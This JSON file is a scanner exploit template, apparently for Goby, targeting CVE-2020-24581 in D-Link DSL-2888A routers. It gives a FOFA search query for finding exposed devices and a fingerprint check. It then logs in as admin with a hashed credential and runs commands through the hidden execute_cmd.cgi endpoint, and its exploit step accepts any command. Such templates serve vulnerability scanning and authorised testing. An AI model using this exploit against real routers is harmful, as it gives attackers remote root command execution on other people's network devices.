{
  "Name": "D-Link DSL-2888A RCE (CVE-2020-24581)",
  "Description": "An issue was discovered on D-Link DSL-2888A devices with firmware prior to AU_2.31_V1.1.47ae55. It contains an execute_cmd.cgi feature (that is not reachable via the web user interface) that lets an authenticated user execute Operating System commands.",
  "Product": "D-Link DSL-2888A",
  "Homepage": "https://www.dlink.com/en/products/dsl-2888a-dual-band-wireless-ac1600-gigabit-adsl2vdsl2-modem-router",
  "DisclosureDate": "2020-12-22",
  "Author": "itardc@163.com",
  "FofaQuery": "\"DSL-2888A\" && server==\"uhttpd\"",
  "GobyQuery": "",
  "Level": "3",
  "Impact": "",
  "Recommendation": "",
  "References": [
    "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/d-link-multiple-security-vulnerabilities-leading-to-rce/",
    "https://www.trustwave.com/en-us/resources/security-resources/security-advisories/",
    "https://nvd.nist.gov/vuln/detail/CVE-2020-24581",
    "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-24581"
  ],
  "HasExp": true,
  "ExpParams": [
    {
      "name": "cmd",
      "type": "input",
      "value": "id",
      "show": ""
    }
  ],
  "ExpTips": {
    "Type": "",
    "Content": ""
  },
  "ScanSteps": [
    "AND",
    {
      "Request": {
        "data": "",
        "data_type": "text",
        "follow_redirect": false,
        "method": "GET",
        "uri": "/page/login/login.html"
      },
      "ResponseTest": {
        "checks": [
          {
            "bz": "",
            "operation": "==",
            "type": "item",
            "value": "200",
            "variable": "$code"
          },
          {
            "bz": "",
            "operation": "contains",
            "type": "item",
            "value": "text/html",
            "variable": "$head"
          },
          {
            "bz": "",
            "operation": "contains",
            "type": "item",
            "value": "var ModelName=\"DSL-2888A\";",
            "variable": "$body"
          }
        ],
        "operation": "AND",
        "type": "group"
      }
    },
    {
      "Request": {
        "data": "username=admin&password=6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b",
        "data_type": "text",
        "follow_redirect": false,
        "header": {
          "Content-Type": "application/x-www-form-urlencoded"
        },
        "method": "POST",
        "uri": "/"
      },
      "ResponseTest": {
        "checks": [
          {
            "bz": "",
            "operation": "==",
            "type": "item",
            "value": "302",
            "variable": "$code"
          },
          {
            "bz": "",
            "operation": "contains",
            "type": "item",
            "value": "/page/login/login_fail.html",
            "variable": "$head"
          }
        ],
        "operation": "AND",
        "type": "group"
      }
    },
    {
      "Request": {
        "data": "",
        "data_type": "text",
        "follow_redirect": false,
        "method": "GET",
        "uri": "/cgi-bin/execute_cmd.cgi?timestamp=1589333279490&cmd=id"
      },
      "ResponseTest": {
        "checks": [
          {
            "bz": "",
            "operation": "==",
            "type": "item",
            "value": "200",
            "variable": "$code"
          },
          {
            "bz": "",
            "operation": "contains",
            "type": "item",
            "value": "text/html",
            "variable": "$head"
          },
          {
            "bz": "",
            "operation": "contains",
            "type": "item",
            "value": "uid=0(admin) gid=0(admin)",
            "variable": "$body"
          }
        ],
        "operation": "AND",
        "type": "group"
      }
    }
  ],
  "ExploitSteps": [
    "AND",
    {
      "Request": {
        "data": "",
        "data_type": "text",
        "follow_redirect": false,
        "method": "GET",
        "uri": "/cgi-bin/execute_cmd.cgi?timestamp=1589333279490&cmd={{{cmd}}}"
      },
      "SetVariable": [
        "output|lastbody"
      ]
    }
  ],
  "Tags": ["rce"],
  "CVEIDs": [
    "CVE-2020-24581"
  ],
  "CVSSScore": "8.0",
  "AttackSurfaces": {
    "Application": null,
    "Support": null,
    "Service": null,
    "System": null,
    "Hardware": ["D-Link-DSL-2888A"]
  }
}